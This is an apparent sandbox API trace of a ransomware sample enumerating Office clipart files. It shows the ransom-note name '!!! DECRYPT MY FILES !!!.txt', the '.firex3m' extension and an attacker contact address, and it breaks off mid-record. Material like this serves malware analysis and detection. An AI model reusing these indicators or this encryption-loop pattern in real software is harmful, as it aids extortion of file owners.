[0131.748] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.748] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.748] GetProcessHeap () returned 0x630000 [0131.748] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x4c) returned 0x66a3e0 [0131.748] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00135_.GIF", cAlternateFileName="")) returned 1 [0131.748] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00130_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 1 [0131.748] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif") returned 0x44 [0131.748] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.748] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.749] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.749] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.749] GetProcessHeap () returned 0x630000 [0131.749] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x50) returned 0x66a3e0 [0131.749] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x296f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00139_.GIF", cAlternateFileName="")) returned 1 [0131.749] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 1 [0131.749] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif") returned 0x44 [0131.749] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.749] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.749] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.749] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.750] GetProcessHeap () returned 0x630000 [0131.750] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x54) returned 0x66a3e0 [0131.750] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3bcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00142_.GIF", cAlternateFileName="")) returned 1 [0131.750] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00139_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 1 [0131.750] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif") returned 0x44 [0131.750] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.750] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.750] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.750] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.750] GetProcessHeap () returned 0x630000 [0131.750] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x58) returned 0x66a3e0 [0131.750] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00154_.GIF", cAlternateFileName="")) returned 1 [0131.750] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF") returned 1 [0131.751] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif") returned 0x44 [0131.751] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.751] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.751] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.751] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.751] GetProcessHeap () returned 0x630000 [0131.751] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x5c) returned 0x66a3e0 [0131.751] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00157_.GIF", cAlternateFileName="")) returned 1 [0131.751] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 1 [0131.751] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif") returned 0x44 [0131.751] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.751] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.752] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.752] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.752] GetProcessHeap () returned 0x630000 [0131.752] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x60) returned 0x66a3e0 [0131.752] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00158_.GIF", cAlternateFileName="")) returned 1 [0131.752] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00157_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 1 [0131.752] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif") returned 0x44 [0131.752] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.752] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.752] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.752] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.753] GetProcessHeap () returned 0x630000 [0131.753] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x64) returned 0x66a3e0 [0131.753] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x47a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00160_.GIF", cAlternateFileName="")) returned 1 [0131.753] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 1 [0131.753] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif") returned 0x44 [0131.753] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.753] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.753] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.753] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.753] GetProcessHeap () returned 0x630000 [0131.753] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x68) returned 0x66a3e0 [0131.753] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00161_.GIF", cAlternateFileName="")) returned 1 [0131.753] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 1 [0131.754] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif") returned 0x44 [0131.754] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.754] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.754] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.754] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.754] GetProcessHeap () returned 0x630000 [0131.754] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x6c) returned 0x66a3e0 [0131.754] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00163_.GIF", cAlternateFileName="")) returned 1 [0131.754] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 1 [0131.754] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif") returned 0x44 [0131.754] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.754] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.754] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.755] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.755] GetProcessHeap () returned 0x630000 [0131.755] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x70) returned 0x66a3e0 [0131.755] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x33c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00164_.GIF", cAlternateFileName="")) returned 1 [0131.755] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 1 [0131.755] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif") returned 0x44 [0131.755] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.755] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.755] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.755] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.755] GetProcessHeap () returned 0x630000 [0131.755] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x74) returned 0x66a3e0 [0131.756] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2186, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00165_.GIF", cAlternateFileName="")) returned 1 [0131.756] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF") returned 1 [0131.756] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00165_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif") returned 0x44 [0131.756] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.756] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.756] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.756] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.756] GetProcessHeap () returned 0x630000 [0131.756] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x78) returned 0x66a3e0 [0131.756] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x131e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00167_.GIF", cAlternateFileName="")) returned 1 [0131.756] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00165_.gif", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 1 [0131.756] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif") returned 0x44 [0131.757] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0131.757] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0131.757] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0131.757] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0131.757] GetProcessHeap () returned 0x630000 [0131.757] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x7c) returned 0x66a3e0 [0131.757] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, 